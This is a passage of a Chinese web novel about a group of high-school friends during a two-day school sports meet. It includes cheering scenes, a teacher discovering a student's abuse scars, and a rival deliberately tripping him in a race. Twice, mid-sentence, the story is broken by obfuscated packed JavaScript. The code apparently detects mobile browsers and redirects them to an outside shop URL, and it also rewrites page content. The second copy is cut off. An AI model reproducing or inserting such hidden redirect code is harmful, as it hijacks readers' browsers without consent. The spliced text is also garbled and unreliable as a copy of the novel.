啊……期期说过她有时候也感觉她也是捎带的那一个……总之很迷就是了,这也是后来他们慢慢不怎么联系的原因。当然也有部分是向川和国际班的学生处得更好,然后国际班的学生又有另外的朋友,他们的圈子一阔再阔,自成一圈,他和期期又不愿意和这些人混一起,也就渐渐少往来了。 林听若有所思,不过很快她就没有机会去深究了。因为…… 此时百米竞速跑的终点,张期期拿着个小型喇叭,喊着:“勇往直前,包揽第一!林听林听!所向披靡——” 她的身后,陈恕和周嘉先一脸平静,但仔细看会发现两人眼底带着无奈,他们一人一边拉着红色横幅,横幅上写着「牛逼啊」,后方还加了个大拇指的表情包。 林听:…… 许兰亭瞪大眼睛,“不是……期期她怎么装备这么齐全啊,我都不知道。” 与此同时,起跑点处站着的老师喊了一声,“一组八号,林听,到了没有?” 林听认命地低着头走过去,硬着头皮忽略身边其他参赛选手看过来的眼神站到了她的赛道上。 八号是最靠近边缘的赛道,许兰亭站在赛道外,小声道:“加油!” 林听表面云淡风轻:“嗯!” 实则:压力更大了怎么办…… “三、二、一,砰——”发令枪往天上一打,林听瞬间冲了出去,期期就在终点站等着她,想到这里,她拼命提速。 同时,终点站附近的张期期望着眼前与其他参赛选手相比起来一骑绝尘的林听,顿时蹦蹦跳跳起来,拿着喇叭不要命地喊,引来周围一圈人的目光。 林听跑过终点线来到了张期期的面前,张期期扶住她,连忙道:“别走一走,不要突然急刹车。” “嗯,好。” 等林听终于缓过劲来后,许兰亭也小跑着过来了,“我去老师那里看了一下你的时间,还不错哦,估计会有名次。” “那肯定啊,林听刚才那叫一骑绝尘!” 她话音一落,其他参赛选手:??? 周嘉先满脸黑线,将横幅收好,推着几人离开,“快走快走,不要在这里拉高别人的怒气值。” * 重点一班选了百米竞速跑的同学非常多,林听作为第一批跑完了的,接下来会有很长一段时间的空闲时间。 一行人坐在阶梯最上面的台阶,头顶是遮天蔽日的榕树树冠,周嘉先拎着几瓶水跑过来,一一分给了几人。 许兰亭拧开瓶盖递给林听,又给自己开了一瓶,他狂灌了几口之后,“要是有冰可乐就好了!那才叫一个爽!” 张期期闻言,幽幽道:“运动完喝冰可乐,容易猝死哦~” 许兰亭怒目而视,“你咒我!” “我只是阐述事实而已。”张期期不甘示弱回声道。 林听轻声笑了笑,“期期没说错,大夏天的更不能喝冰水了。” 许兰亭一秒接受,“林听说得对!” 陈恕&张期期&周嘉先:…… … 头顶的树冠带来一片阴凉,夏风吹过,树冠飒飒作响,耀眼的光芒从树缝间落下,洒下细碎的光斑。 张期期坐在台阶上往后一躺,因为是最高一排的台阶,所以后面是是宽约一米的水泥地,水泥地后方竖起了长长的围栏。 见她躺下,林听、许兰亭也跟着躺下。 张期期拉了拉身旁陈恕的长袖衣摆,小声道:“不躺一躺吗?” 陈恕盯着对方看了眼,“好。” 仍旧坐着,因此显得格格不入的周嘉先无奈地叹了一口气,认命地跟着这群人排排躺。 光影落在他们身上,细碎的眼光跳跃,微热的风吹拂着,操场上人声嘈杂,但仿佛如同潮水一样从他们的身边渐渐退去,只剩下隐隐约约的说话声。 张期期眼底充满倦意,她轻声道:“昨晚刷题刷太晚了,今天还参加运动会……诶,这真是有点糟糕呢!” 陈恕闻言,低声说:“晚上不要太晚睡了,你的成绩很不错了。不要有那么大的压力。” 张期期突然侧头望向身边的陈恕,对方精致的五官近在咫尺,“哎,你这个省第四的说我成绩好?” 感受到少女轻微的呼吸声萦绕在他的耳旁,陈恕攥紧了指尖,盯着头顶的树冠,“我认真的。” “拜托!能不能不说学习了!”许兰亭望着头顶的树冠嚷嚷道,“现在的氛围多好啊,休息一下行不行?” 好吧……众人选择闭嘴。 蝉虫在树冠上不停地呐喊鸣叫,此时风一吹,树冠一摇晃,细碎的光斑落在张期期的眼睛上,她轻轻抬手,小臂搁在眼上挡住刺眼的光。 少年少女们的衣摆被风吹得微微掀起,此时哪怕不远处是广播播放着加油呐喊助威声,但他们却感觉心底充满了宁静。 良久,体育委员跑了过来,大喘气喊道:“好啊你们几个居然在这个睡大觉!我找你们很久了啊!大哥——大姐——还有班长啊——你们搞什么啊!” “班长!你带头睡觉是不是啊?” 周嘉先一个仰卧起坐坐直身体,“不!不是我!”……他只是一个因为过于正常而显得格格不入的人,为了保持与他的好友们同个步伐,只能忍痛加入他们的不正常之中。 张期期、陈恕、许兰亭、林听都坐起来了,张期期望了一眼底下已经结束的“百米竞速跑”,道:“也没有太迟吧!那边百米竞速跑结束了,差不多我的铅球项目也要开始了……” 她起身准备走下阶梯台阶去检录。 陈恕见状,“一起走。我们的4百米接力赛也要开始了……” 周嘉先、许兰亭自无不可,林听笑着道:“那我去做我的后勤人员了。” 体育委员:“走吧走吧。” - 他们在最下层的台阶下分开走,前往各自项目所在地。 扔铅球这个项目,重点一班的女生只有张期期报了名,她挥挥手拒绝了班里准备带她去检录的后勤人员,“你们过去4百米接力赛那里吧,我们班的同学基本都在那里,需要的后勤人员也多,我这边没什么事。我自己去就行。” 她前后看了一下跑道,发现没有项目正在进行,便跑过跑道望跑道中间的草场而去。 “期期。”陆向川看抬眸笑着喊她。 张期期愣了一下,“诶,向川,你不是在百米竞速那里当工作人员吗?” 陆向川笑着道:“那边差不多完成了,我就过来这边帮忙。” ……其实不是的,百米竞速跑虽然结束了,但还需要录入一些时间数据,他和负责扔铅球组的同学换了一下,对方倒是很开心,因为只需要将时间录入就可以了。 “哦……这样啊!”张期期点点头。 陆向川按照流程一边核对着她的信息,一边低声邀请她,“周末我们出去玩吗?叫上兰亭,凌阳他们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508631|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说好久没见你们了。” 原本正想答应的张期期皱了皱眉头,“……还是算了,周末我要上美术培训班。” 凌阳那群人也是京照商圈家庭出身,但是她并不喜欢和他们一起玩,她觉得没什么意思,也处不来…… 但向川不知道为什么总想拉着她和兰亭一起融入凌阳那群人,特别是过年后她从宜市回来后,几次过后,她也就不再答应他的邀约。 … 陆向川闻言,写着组号的手微僵,笔尖在纸面上滑破了一个小洞,片刻后他又恢复了平静,笑着抬头道:“啊!我忘了你还要上培训课。不好意思啊期期。” 张期期摇了摇头,从对方手中接过组号便去一旁等待着,好在她的组号在较前的位置,扔铅球也不耗费时间,所以很快就轮到她了。 张期期站定,重心下沉,握着铅球深吸一口气扔了出去。 远处的草场溅起了一部分泥土,「哇——」 围观的参赛选手看着那个距离露出了匪夷所思的神色。 张期期拍掉手心的灰尘,淡淡道:“正常发挥。” 众人:…… 张期期走出去一段距离后,回头看了一眼还在参赛、大受打击的其他人,哈哈笑了起来,这装13的感觉真不错!哈哈哈—— 少女狂笑一通,在路过的人露出“神经吧”的眼神下才堪堪忍住了。她正准备往四百米接力赛那儿走去。 “她是高二重点一班的。我跟你说,他们班真的感觉都有毛病一样。” “啊?你是想说他们班都是书呆子?” “哎,不是。是有毛病!你看他们班的陈恕,虽然是校草吧,但是你不觉得他大夏天的,捂得严严实实的,很奇怪吗?” 张期期脚步一顿,猛然转过身,眼神锐利地看向那几个低声议论的同学。 对方撞上她的视线后,神色闪过难堪,然片刻后又理直气壮起来,他们说得也没错啊……谁这么热的天气还穿着长袖长裤,有毛病吗? 张期期气势汹汹地准备走过去,疏忽间又跑过来一个男生,将这几个人迅速拉走了。 她眉头一皱,刚才跑过来的那个男生就是上学期被她撞见议论陈恕的人,他们是……一个班的? 人跑了,张期期倒也没有追,远处林听看见她,正向她挥手喊她过去呢,她抿了抿唇,压下生气的情绪,连忙跑了过去。 “期期……快过来!”林听笑着道,她拿着一小杯的葡萄糖水,“你先快喝点。” 一旁的雷婷露出无语的表情,“林听,你也太偏心了吧,我这刚跑完半死不活的,你没看见吗?人家期期壮得和头牛一样,你倒是嘘寒问暖!” “不行啊,你这后勤人员夹私带货啊!” 张期期:…… “半死不活?”她打量了一眼气不喘色不变的雷婷,笑着道:“你这样算半死不活,那其他同学呢,算垂死挣扎吗?” 她指了指刚跑完气喘吁吁的重点一班同学…… 重点一班同学:……这就有点冒犯了吧? 见一群人怒视着她,张期期立刻怂了,露出讨好的笑容,拿起一旁桌上的葡萄糖水,“嘿嘿嘿——来来来,都喝一杯!” 林听机灵地学上了,“雷婷,来,我们喝上一杯。” 两人给周围跑完的同学都递了一杯,张期期举着一次性小杯子喊道:“cheers——” “cheers——”重点一班的同学下意识地跟着喊了一声,反应过来后,他们僵了一下。其他几个非重点一班的同学目瞪口呆地看着。 秉持着只要我不尴尬,尴尬的就是其他人,张期期以外的其他重点一班的同学回过神来,硬着头皮笑着看着几个不合作的其他班同学,再次道:“cheers?” 啊??? “c……cheers?”几人试探着、弱弱道。 “cheers!!!”强行将其他班同学拐进这奇奇怪怪的行为中的重点一班学生大声喊了一声,举杯碰了一下,又将杯中的葡萄糖水一口闷了。 刚跑完四百米接力赛的陈恕&周嘉先&许兰亭&关宇:…… 周嘉先露出一言难尽的表情,“为什么他们能将喝葡萄糖水搞得像对嘴吹酒一样??” 许兰亭:“噗——哈哈哈。” 他笑得直抖,左右手拉上陈恕、周嘉先冲过去,“关宇跟上,走,一起去喝一杯!” 事实证明,“神经病是会传染的”,包揽了男子、女子四百米接力赛的重点一班以及夹杂着小部分其他班的同学都发颠了。 一群人举着一次性塑料小杯子,这碰一个,那碰一个,“喝——” “不喝?太不够意思了吧?” “来来来,期姐,我敬你一杯!” “陈恕!哥们,喝一杯!” 被挤在人群中的陈恕忍俊不禁,“嗯。喝一杯。” …… 喝?? 喝什么!!! 路过的张扬怒从心起,这群小崽子不会在操场上喝酒吧?还“cheers”!!! 完蛋了……他这个班主任要被革职了吧? 张扬拔腿跑过去后,却猛不丁地目光突然一滞,脚下忽然一个踉跄,啊……那好像是葡萄水吧…… 张扬:…… 他站在原地抹了把脸,脚步生硬的转身赶紧离开。 迎面而来的张峰见张扬一副“精神恍惚”的模样,笑了笑道:“诶,张扬,你怎不去看你班里的学生啊,他们好像在……” 张峰的手刚抬起来,就被张扬按住了,张扬一字一句道:“你看错了!那边的不是我学生。” 被拽着离开的张峰:啊? — 中午,阳光更晒了,操场上仅剩几个项目还在比赛,而“男子三千米”、“男子一千米”、“女子八百米”都是校运动第二天的比赛项目。 张期期、陈恕、林听和许兰亭将剩下的矿泉水分给班里的同学,在得知接下来他们班的同学都没有比赛项目了,便知道今天后勤人员的活算是干完了…… 体育委员手搭在周嘉先的肩膀上,“我和班长去看看今天我们班同学的成绩,你们其他人就先散了吧。该干嘛干嘛去!” 其他人点点头,自无不可,此时也到了午餐时间,众人便三三两两地离开了。 张期期看了看不远处的“小食吧”,小食吧上贴着“第二杯半价”,她兴冲冲道:“我们去小食吧买喝的吧?第二杯半价哦!” “好。”陈恕点头。 … 小食吧后面种着有“独木成林”称呼的榕树,榕树树冠像巨大的伞遮在小食吧的上方。 张期期、陈恕、许兰亭、林听坐在玻璃门附近的那张桌子上,一人捧着一杯奶茶喝着,店内开着空调,清凉无比。 张期期舒服得发出一声谓叹,她整个人往后坐歪着陷在椅子里,边低头喝着奶茶,边偷偷瞥了一眼旁边的陈恕。少年一本正经地坐着,手拿着奶茶,僵硬无比地喝着。 这么热的天气,他穿着长袖衬衫,居然还没怎么流汗,这到底什么体质啊!不过……正常人都会热的吧! 张期期想起他满身的伤疤,刚才旁人的议论声又恍然回响在她的耳边,她抿了抿唇,心底有些不高兴! 京照一中往年都是六月份才开空调,教室人多又闷,陈恕他还要捂成这样上课,太难熬了…… 陈恕神色微动,敏锐地察觉到身旁的张期期情绪仿佛一瞬间跌了下去,他低声道:“怎么不开心了?” 张期期看了看他,四目相对下,她深吸了一口气,绽放笑容,“没什么啦!我们晚点再去吃饭吧,现在食堂一定很多人。” 京照一中校运动会这两天学校不再是封闭式的,学生的家长、朋友只要有本校学生带着,然后签个名就可以进来了。 不少人对于京照一中还是相当感兴趣的,因此这两天学校的食堂是最拥挤的。 陈恕狐疑地看着她片刻,是因为食堂人太多不高兴? 他盯着看了几秒,没看出什么来,便点点头,“好。我们晚点再去吃饭。” 张期期有心想让陈恕在空调里多吹一会,便转身从椅子后面的书包里拿出学习资料,她人手一份发给陈恕、林听、许兰亭,“哎……还好我有带,不然就得干坐着了。” 许兰亭大惊失色,看着手中的复习资料,“你疯了,你肯定疯了!我宁可干坐着也不想学习啊!难得这两天校运会,张期期你怎么想的,居然还随身带着复习资料!” “对了,刚才那个喇叭和横幅你也是从书包里拿出来的,我说你书包里怎么那么多东西啊!” 张期期白了他一眼,“你不学习,那我们三个学就好了,到时候我们考到同一个名牌大学,哦,对还有先哥。” 她伸手戳了戳许兰亭的肩膀,哼道:“而你……就去上野鸡大学吧!我们大学不带你玩啦!” 陈恕温和地笑着点头,林听也忍俊不禁,“啊,期期说得是。我们快学习吧。” 三人齐齐翻开手中的复习资料,很快就沉浸在知识中,许兰亭简直目瞪口呆,不是……不是吧……你们这么快的吗? 许兰亭盯着三人看了好一会儿,他们都无动于衷,玻璃窗外树冠投下的阴影随着阳光慢慢移动着,他无奈地翻开学习资料,加入他好友的学习阵营。 空调的冷气缓缓吹着,纸张上沁出墨香味,陈恕拿起奶茶小心翼翼地吸了一口,入口是醇香的甜味,他的身旁围坐着挚交好友和喜欢的女孩子,这一刻他顿生出了“日光漫长、岁月无忧”的幸福感,那些沉重晦涩的过去仿佛真的过去了…… 75. 第 75 章 - 翌日。周五。 天气一如昨天般燥热,好在校运动会的第二天并没有领导讲话这一项,重点一班的同学今天还有的项目便是“男子一千米、男子三千米”、“女子八百米”。 耀眼的阳光铺洒在整个操场上,张期期、陈恕、许兰亭、林听等还有班里的后勤人员在赛道的终点处摆着桌子椅子,桌子上放着好几盒医用葡萄糖液,另外还有不锈钢桶装着的人工煮的糖水。 周嘉先和王思每人抱着一箱矿泉水过来放在了桌子底下;雷婷、侯蕊也将干净的毛巾叠整齐放在椅子上备用。 一群人站在终点处望着他们班参加男子一千米的同学,而此时体育委员扛着重点一班的班旗跑在赛道内侧的草场里,一直陪着他们班的同学跑。 张期期顿声敬意:“体委真有精神啊!不愧是体委!” 说到这里,她瞟了一眼一旁的周嘉先,周嘉先刚好望过去,四目相对之下,周嘉先抬手捂住脸,无声地哀嚎一声,“好了,期期,我知道你想说什么了……” 张期期神色无辜,“我没有想说什么啊,先哥。” 周嘉先:…… 他解释道:“我们班参加男子一千米的男生比较多,体委不可能一直陪着跑,等会儿我会替他的。” 张期期夸张地哇了一声,“先哥觉悟好高啊!” 周围的同学都“噗啊——哈哈哈”地笑出声来,侯蕊抱胸点点头,“不愧是班长!” 说话间,第一组的男子一千米已经跑完了,一组比赛有8位选手,这其中就有五位重点一班的男同学,此时,一班后勤人员二对一地走上前去,扶住气喘吁吁的同学慢慢走一走,缓一缓。 张期期、侯蕊一左一右地虚扶着蒋文,侯蕊关切道:“怎么样?还行吗?” 蒋文累得上气不接下气,“还、还行……” 他们扶着对方走了好一会儿后才让蒋文坐在椅子上,林听急匆匆地拿着干净的毛巾递给侯蕊,侯蕊接过后也很利落地帮男同学擦了擦额头上、脖子上的汗水。 雷婷递给他一杯葡萄糖水,道:“快喝一点。哦……矿泉水也有,你渴不渴?” 侯蕊给蒋文擦完汗之后,笑得真诚,她夸奖对方,“你很棒哦~” 虽然已经很熟了,从高一开始就一直是同班同学,但此时蒋文对着那张明艳漂亮的脸还是忍不住红了脸,他眼神闪躲道:“没、没有。就跑完了而已,肯定拿不到什么名次。” 张期期笑着拍了拍对方的肩膀,“跑完就很棒了嘛!” “嘘寒问暖”“鼓励赞扬”等一通操作下来,蒋文已经舒舒服服地坐在椅子上了,头顶的遮阳棚抵挡住炎炎夏日,他开了一瓶矿泉水慢慢喝着,看着张期期、侯蕊、雷婷、林听等女生已经换了一个他们班的男生再一次重复刚才对他的照顾。 与此同时,陈恕和班上的其他几个男生后勤人员来到蒋文的身边,陈恕道:“我给你捏一捏,放松一下肌肉。” “对!把你腿伸出来,我给你拍一拍,不然明天你肌肉会痛的。” 蒋文瞪大眼睛,“啊?还有这项服务啊?不是只有女生们的擦汗、送水、鼓励吗?”他越说脸越红…… 陈恕微微笑了下,“我们是同学,这不是很正常的事吗?不要这么见外。” 蒋文摸了摸后脑勺,嘿嘿嘿地笑了笑,“那谢谢你们啦,哎……我腿是真的酸……哎……舒服舒服……” 遮阳伞落下的阴影随着太阳的移动而缓慢改变着位置,操场上热气蒸腾,男子一千米跑的项目已经结束,工作人员也在整理和录入时间数据。 陈恕拎着书包,书包里装着长袖的运动套装,他走过去低声道:“我去换衣服了。” 张期期笑着点点头,“好,快去吧!”这会儿她也很忙,要和同学们一起将他们班的休息处整个搬到三千米男子跑的终点处。 “谁啊!谁来帮一下,这个遮阳伞好重啊……” “来了……挪到那边是吗?” “啊对,还好女子八百米的终点处也在那附近。” “……我们学校的跑道也太大了吧……” 与此同时,许兰亭小跑过去追上陈恕,他伸手揽着陈恕的肩膀,笑着道:“换衣服居然不叫我……你小子!” 陈恕余光瞥了眼搭在自己肩膀上的手臂,忍了忍,平静道:“你现在不是来了吗?” “啊——你叫我,和我跑过来找你,哪里一样?” “哪里不一样?” “不一样啊,你没叫我,显得你没把我放心里……”许兰亭说了一半,突然意识到这句话怪怪的,神色顿时有些扭曲。 …… 教学楼,男厕所门口。 已经换成一身运动校服的许兰亭靠着墙上,低着头刷手机,翻阅着学校论坛上的八卦、表白墙等打发时间。 他边看,嘴里边喊道:“陈恕……好了没?” 学校男厕所里面是有隔间的,但是隔板非常矮,也就到他们腰处而已,并不能挡住整个人。刚才换衣服的时候,陈恕提出让他先进去换,换好之后他自己再进去。 “都是男生……哎,这家伙怎么扭扭捏捏的啊!”许兰亭嘟嘟囊囊道。 恰在此时,捂着肚子扭曲着脸的张扬突然冲进了男厕所,快得连低头刷手机的许兰亭都没有反应过来,他下意识喊了一声:“诶——” ……我去,陈恕这小子这么保守,他没帮他看好门,等会儿会不会生他的气……应该不会吧,陈恕不是那么小气的人。 与此同时,冲进男厕的张扬一抬眼便看见上半身光/裸的陈恕,陈恕刚好将衣服套在手上,准备穿上去…… 张老师?陈恕一顿,眼帘微垂,神色淡淡地将穿长袖T恤穿上。 张扬面色惊愕,一瞬间连肚子都不疼了,他连忙按住与他打过招呼正准备走出男厕的陈恕,“等等,这是怎么回事?为什么你身上……”……那么多伤疤。 那些伤疤明显是多年累积下来的,横亘在少年的胸前,腹部,还有肩上,甚至连手臂上都有。 这一刻,张扬终于理解为什么陈恕总是穿得严严实实的,曾经他也并不是没在心里嘀咕这孩子怎么那么奇怪,大夏天的总是穿着长袖长裤。 张扬怒气顿生,他绕到陈恕的身后,伸手准备掀起他的衣服,看看后背是不是也是如此…… 陈恕眼帘微颤,瞬间按住了张扬的手,“老师。” 他拒绝的意思非常明显。 张扬瞪着他,“把手拿开,老师看看。” 四目相对之下,陈恕看着眼底满是担忧、紧张、焦虑的张扬,默默移开了手,十几年来他收到的善意稀少珍贵,所以他并不想忤逆对方。 张扬掀开看了一眼,当看清楚他后背上的样子时,他瞳孔皱缩,深深吸了一口气。 此时,站在男厕外的许兰亭意识到陈恕换衣服也太久了的事,再加上张扬冲了进去后,现在又无声无息的,于是便喊道:“陈恕,你好了没,我进来了。” 闻声,张扬立刻放下他的衣摆,转身看着走进来的许兰亭道:“兰亭,你是参加男子三千米是吧?那你现在先去吧,老师找陈恕说几句话。” 许兰亭啊了一声,又道:“没事,我可以等他。” 张扬:…… 陈恕抿了抿唇,直接道:“你先去,我等会儿就过去。” 面对许兰亭疑惑的眼神,他再次强调:“不用你等,快去!” 许兰亭满头雾水的模样,他摸了摸后脑勺:“哦,那好吧……不过你们要在厕所聊天吗?” 张扬:…… - 因为今天是校运动会,所以年级组办公室空无一人,老师们大多去操场上看各班学生参加比赛了。 张扬将办公室的门关上,他看着站在他桌前的少年,神色复杂,“你这身上的伤疤是怎么回事?是……家暴吗?” 能在一个小孩子身上留下这么多伤疤的,只可能是家里人!张扬心想。 他真的咽不下这口气,张扬突然拍了一下桌面,一副火冒三丈的模样,“这都不是家暴了……这是虐待儿童!” 他能不能报警把陈恕他爸给抓了!?判刑!一定要判刑,让他坐穿牢底! 看着气得在办公室内走来走去的张扬,陈恕反倒笑了笑,“张老师,你冷静一点。” “我冷静不了一点!”张扬下意识接话道。 陈恕顿时沉默,他站在原地眼神无奈,刚才他就应该手脚快一点,张老师就不会看见了…… 好半响,张扬也沉默下来,他终于冷静了,“是家里人干的吗?现在呢?还敢这么对待你吗?你告诉老师,老师会有办法的,不用担心。” 陈恕微微摇了摇头,三言两句解释道,“我小时候被拐卖了,这些伤疤是我养父造成的,不过已经过去了,他前年因为抢劫杀了人,被抓了,也判了死刑,他已经影响不了我了,老师你放心吧。” 拐卖,浑身的伤疤,养父还是个杀人犯…… 张扬脸色都变了,他难以想象眼前的这个孩子那么多年到底是怎么过来的……而这个半大少年却如此轻描淡写、仿佛在讲别人无足轻重的事情一样。 他深深吸了一口气,恨恨道,“那就好。判死刑是他罪有应得!” 陈恕淡淡点头,“嗯。老师……我可以回去了吗?比赛估计快开始了……” 张扬努力地平复情绪,扯起了嘴角,笑着道:“好,快去吧!生活上、学习上有什么问题都可以找老师,知道吗?” 陈恕点头,“嗯,我会的。” — 操场。 张期期迎着陈恕跑过去,双手握住他的手腕,“你怎么去那么久啊,张老师找你什么事啊?” 刚才兰亭和陈恕两人一起去换的衣服,结果回来的却只有兰亭一人,兰亭告诉她,张老师把陈恕留下说话了。 陈恕垂眼看着张期期,淡淡道:“没什么,张老师只是意外看到了我身上的伤疤,问了几句而已。” “哦……”张期期闻言,面色犹豫,“那你不要不高兴了。” “我没有不高兴,都是过去的事了,而且……我现在挺好的。” 他说的是实话,他现在有朋友、有喜欢的女孩子、有燕姨,还有那个未曾谋面却资助他读书的好心人,够了,真的够了……陈恕微微笑了笑。 “那我们现在过去检录吧!三千米快开始了。” “好。” 重点一班参加男子三千米的也就陈恕和许兰亭,张期期、林听带着他们两个过去检录。 耀眼的日光下,三千米终点处有一道奇怪的风景线,那里立着一把遮阳伞,遮阳伞下挤满了重点一班自行组建的后勤人员。 侯蕊拿出纸巾擦了擦汗水,皱着眉头道:“我们不回去歇一歇吗?实在太热了,有张期期、林听在这就好了,反正这四个人无论是参加比赛还是加入后勤,都是醉翁之意。” “诶,你想回去你回去。”王思又道:“三千米,我们男生已经分配好了,一人陪跑一千米。天气太热了,要是他们两个中暑要晕倒了,我们在的话就能立刻扶住他们。” “是啊!再热我也不回去,都是哥们!” 侯蕊嗤了一声,刚才她给他们擦汗的时候,一个个还眼神闪躲,害羞起来了,现在……倒是为了哥们怼她了。 随着一声口哨声响,三千米比赛开始了…… 侯蕊看着走回来的张期期,撇了撇嘴,女子八百米她还要照顾期期呢,算了,那她也先不回去了吧…… 陈恕和许兰亭的赛道是挨着的,口哨声一响,许兰亭“xiu——”的一下子飞快跑出去了,而陈恕则是保持着不快不慢的速度,稳步向前。 林听皱眉道:“兰亭干嘛一开始就跑那么快,不保持体力的话,后面很容易被赶超的。” 周嘉先:“他耐力不好,所以可能打着一开始就和其他人拉开距离的想法吧,” 张期期点头附和,“我也觉得。” … 此时,赛道上。 陈恕看着一个又一个同学超过自己,但他还是不慌不忙,保持着平稳的速度,呼吸也没有变乱。 一旁陪跑的王思边跑边踹起,“陈恕,你怎么不加速的,你现在是最后一名了……” 陈恕看了他一眼,没有回答,跑步的时候说话是很容易岔气的。 他看了一眼最前方的许兰亭,默默计算着自己和对方之间的距离,在许兰亭速度慢慢变缓下来时,对方身后跟着的同学也在与其拉短距离。 张期期、林听和重点一班后勤人员在太阳下眯着眼睛看着从他们身边跑过的许兰亭、陈恕,细细观察两人的脸色,见两人没有太狼狈的样子,倒也松了口气。 太阳将脚下的赛道晒得滚烫,许兰亭踏入三千米最后一圈,与此同时,陈恕迅速提速,越过了一个又一个同学,成为了跑在前方的第三名。 距离终点站只有一百米了,陈恕此刻正在赛道左拐弯处,他准备再次提速,往前冲刺。 然而他没注意到的是,就在他提速冲刺的同时,赛道上排名第二、与他相临、在他右手边赛道的同学突然放缓了步伐,偏离了原本他应该跑的赛道正中心,反而压着左侧白线跑了过来。 “砰——” 加速冲刺的陈恕刚好撞上了压着赛道白线的另外一名同学。 “陈恕——”张期期蓦然睁大双眼,世界仿佛在她眼前缓慢下来,她看见陈恕脚下一滑,砰地一声摔在了赛道上。 周围尖叫声连连,张期期拔腿跑过去,“陈恕!陈恕,你怎么样?” 重点一班的同学也反应过来了,一窝蜂地围了上去,正在比赛的许兰亭脸色大变,立刻调过头来,“我、我去……怎、怎么了?陈恕!” 他们七手八脚地扶起陈恕,陈恕手撑在许兰亭的肩膀上,“我没事,就是摔了一下。” 与此同时,负责这项项目的老师和学生会成员也走了过来,“两位同学,怎么样?需要去校医室吗?” “有没有摔倒哪里?”张期期说着,一边打量着陈恕,他膝盖、手肘处的衣服都有明显的擦痕。 她下意识想抡起他的衣袖和裤管,看看里面有没有擦破皮,然而手腕刚动时,她突然想起陈恕身上的伤疤,便硬生生停下了手。 “没事。真没事,别担心。”陈恕再次道。 这时,与陈恕相撞的另一名同学也在他们班同学的搀扶下站了起来,见陈恕身旁围着一圈的人,他大声地喊叫道:“同学,这责任在你吧!是你撞到了我!” “老师,现在怎么算?” 负责这项项目的老师皱了皱眉头,“把他们两个扶到一边,不要耽误接下来其他组的比赛。” 众人便从赛道上转移到了赛道中间那片草地上,陈恕低声和许兰亭说,“你怎么掉头了,你可以得第一的。” 许兰亭匪夷所思地望向他,“说什么呢!你都摔倒了,我不管你,继续跑?你把我当什么人了,而且这只是个校运会的比赛而已,一点都不重要。” “老师,他撞到我了,这件事怎么算?要不是他撞我,我是能得第二的,冲一冲说不定这一组的第一就是我,现在因为他,我的比赛成绩都废了。” 说话者是高一十二班的洪志。 他这么一嚷嚷,张期期顿时火都大了,“什么叫陈恕撞的你,明明是你自己压线偏到陈恕的赛道上来……我们没追究你的责任就算了,你还倒打一耙是吧?” “就是!我们刚刚看得很清楚。”陪跑的王思看着老师道:“老师,我是刚刚在一旁陪跑的,我看得非常清楚,是那位同学突然踩着中间的白线跑。” 高一班十二班的同学自然也站在他们班同学这一边,“明明是他撞到我们班同学的,他在后面跑上来撞上的。” ……两个班的学生吵成一团,就差要动手了。 老师头都大了,呵斥道:“都先吵了。比赛是有监控的,我们看看监控就知道是怎么回事了。” 众人顿时安静下来,陈恕抿了抿唇,沉声道:“老师,看监控前,我想先说几句。” “你想说什么?” 陈恕轻轻挣脱许兰亭扶着自己的手,他走出人群,指着前方赛道的拐弯处,“老师……我是在第五赛道上,而他是在第六赛道上,正常来说,人体在右拐弯加速时,身体的惯性是会向右边倾斜,这也是我为什么会偏移自己的赛道中心线,但我很肯定……我只是偏移了一点而已,还是保持在第五赛道内。” “但这位同学,却偏偏往左边偏移,这是不是不太符合常理,并且他偏移就算了,还擦着第五赛道、第六赛道中间的白线跑。这也就是为什么我会在拐弯加速时撞上他的原因。” 陈恕这么一说,重点一班的同学纷纷反应过来了,张期期冷声道:“那这就是有预谋的了?这位同学,我们都不认识你,你对我们班的陈恕有敌意是为什么?” “手脚真黑啊,当真我们的面欺负我们班的同学是吧?” “陈恕……你认识他吗?” 陈恕摇头,“不认识。” 这下子,重点一班的同学都愤怒了,“不行,这事必须给个交代。” 一向温和的周嘉先冷着脸,“老师,学校怎么会招这种品德败坏的学生,我们都还是学生呢,就这么黑心啊?” 处理这事的老师也感觉不对劲了,他铁青着脸,“先去看看监控。” 洪志心一慌,却还是梗着脖子道:“他跑在我后面,当然是他撞我,难道还能是我后退去撞他的吗?” 该死的……他原以为对方那个班的学生都是书呆子,肯定是自顾自闷头读书的,两耳不闻窗外事的,没想到他们班的同学那么团结。 老师并没有管他的话,反而带着众人去了监控室。 事实如何监控室的画面拍得清清楚楚,画面中当陈恕加速跑到洪志的余光范围内时,洪志突然硬生生往左偏移,脚擦着白线跑,如此一来,他的肩膀自然是突出了自己的赛道内,而陈恕正是因此撞上了对方的肩膀从而摔在地上的。 张期期豁然转身,“你还有什么话要说的?你就是故意的!” 许兰亭、周嘉先、林听脸色都非常难看,这人明摆着就是故意了…… 他们身后的重点一班的同学也都怒目而视。 老师脸色铁青,“洪同学,你怎么说?” 洪志皮笑肉不笑,“老师,这都是你们的猜测,有谁规定我不能往左边偏移,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……也没有,我们刚刚才到的,刚才这里也是其他班级聚餐,等他们走了,我们才坐下占位置的。” “先哥,我们几个站在人家聚餐旁边等着的,不是霸占。我们也等了很久,饮料刚放好,你们就来了……” 周嘉先闻言,“哦,这样子啊!那就好,我还以为你们空置着这么多座位,却不给别人坐。” “我们哪里是这种人啊!先哥,你太过分了!” “哈哈哈——对不起,我的错,先喝一杯赔罪了!”周嘉先抡起可乐,喝了一口,“啧,舒服!” 众人无语:……想喝可乐直说,说什么赔罪! … 张期期坐在陈恕身边,偏过头,小声道:“陈恕,擦伤的地方还疼不疼?” 陈恕将橙汁放下,“没事,真的不疼,刚好我穿着长袖长裤,里面没擦破。” “那就好,那会儿吓死我了。” 